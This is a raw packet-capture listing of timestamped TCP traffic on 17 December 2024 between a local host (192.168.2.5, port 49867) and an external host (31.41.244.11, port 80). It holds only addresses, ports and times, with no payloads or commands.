Dec 17, 2024 08:03:31.953432083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.953447104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.953466892 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.953480959 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.954375029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.954391003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.954411983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.954423904 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.955204010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.955241919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.955329895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.955364943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.956054926 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.956147909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.956233025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.956274033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.957053900 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.957087994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.957102060 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.957125902 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.957822084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.957870007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.957976103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.958019972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.958885908 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.958936930 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.958986044 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.959028006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.959722042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.959765911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.959824085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.959867001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.960585117 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.960632086 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.960784912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.960827112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.961606979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.961639881 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.961648941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.961674929 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.962582111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.962615013 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.962626934 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.962649107 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.963474035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.963517904 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.963610888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.963651896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.964308977 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.964354038 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.964442968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.964484930 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.965229988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.965275049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.965327978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.965369940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.966084003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.966128111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.110388994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.110404968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.110430956 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.110441923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.110558987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.110598087 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.110744953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.110780001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.110835075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.110869884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.111756086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.111771107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.111793041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.111803055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.112699032 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.112715006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.112735987 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.112755060 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.113574982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.113612890 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.113774061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.113810062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.114449024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.114492893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.114558935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.114626884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.115375996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.115413904 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.115520000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.115554094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.116365910 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.116380930 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.116417885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.117314100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.117330074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.117348909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.117360115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.118053913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.118093967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.118165016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.118202925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.119035006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.119072914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.119127989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.119163036 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.119997978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.120043993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.120093107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.120127916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.121007919 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.121023893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.121045113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.121059895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.121730089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.121766090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.121912956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.121947050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.122761011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.122776985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.122802973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.122821093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.123919964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.123934984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.123955011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.123970032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.124551058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.124588966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.124639988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.124671936 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.125444889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.125488997 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.125541925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.125572920 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.126403093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.126449108 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.126509905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.126543045 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.127290010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.127357006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.127388000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.127477884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.128236055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.128278971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.128325939 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.128426075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.129101992 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.129141092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.129218102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.129252911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.130101919 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.130116940 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.130199909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.130943060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.130986929 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.131016016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.131045103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.131978035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.131993055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.132016897 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.132031918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.132846117 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.132862091 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.132886887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.132900000 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.133656025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.133693933 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.133987904 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.134027004 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.135211945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.135226965 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.135246038 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.135265112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.135497093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.135535955 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.135603905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.135644913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.136454105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.136492968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.137059927 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.137094021 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.137307882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.137357950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.137430906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.137464046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.138314009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.138353109 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.138401985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.138432980 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.139256954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.139297962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.139353037 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.139384985 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.140224934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.140242100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.140263081 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.140274048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.141408920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.141434908 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.141443968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.141463041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.142050982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.142067909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.142085075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.142092943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.142843962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.142883062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.143021107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.143059015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.143821955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.143846035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.143856049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.143879890 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.144757986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.144774914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.144794941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.144808054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.145544052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.145580053 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.145644903 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.145674944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.146588087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.146605015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.146620989 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.146636009 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.147514105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.147531986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.147552013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.147562981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.148287058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.148323059 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.148391008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.148417950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.149332047 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.149348021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.149368048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.149378061 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.150122881 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.150165081 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.150253057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.150286913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.151058912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.151093006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.151161909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.151194096 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.152122021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.152138948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.152156115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.152173042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.153014898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.153029919 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.153052092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.153060913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.153928995 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.153945923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.153971910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.153983116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.154711962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.154753923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.154844046 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.154881001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.155731916 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.155747890 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.155767918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.155777931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.156529903 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.156575918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.156630993 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.156668901 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.157444000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.157481909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.157540083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.157576084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.302561045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.302737951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.302810907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.302853107 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.302999020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.303041935 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.303088903 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.303126097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.303900957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.303916931 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.303940058 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.303956985 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.304785013 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.304800987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.304827929 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.304842949 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.305825949 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.305840969 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.305864096 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.305876970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.306637049 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.306679964 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.306840897 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.306876898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.307595015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.307610035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.307632923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.307646036 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.308549881 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.308593035 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.308640003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.308675051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.309412003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.309449911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.309497118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.309536934 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.310233116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.310272932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.310340881 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.310378075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.311253071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.311295033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.311304092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.311342955 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.312048912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.312087059 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.312150002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.312186003 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.313038111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.313077927 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.313124895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.313162088 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.314022064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.314038038 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.314059973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.314074993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.314836025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.314874887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.314929962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.314965963 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.315850019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.315866947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.315887928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.315898895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.316907883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.316951990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.317002058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.317039013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.317579031 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.317615986 CET	49867	80	192.168.2.5	31.41.244.11
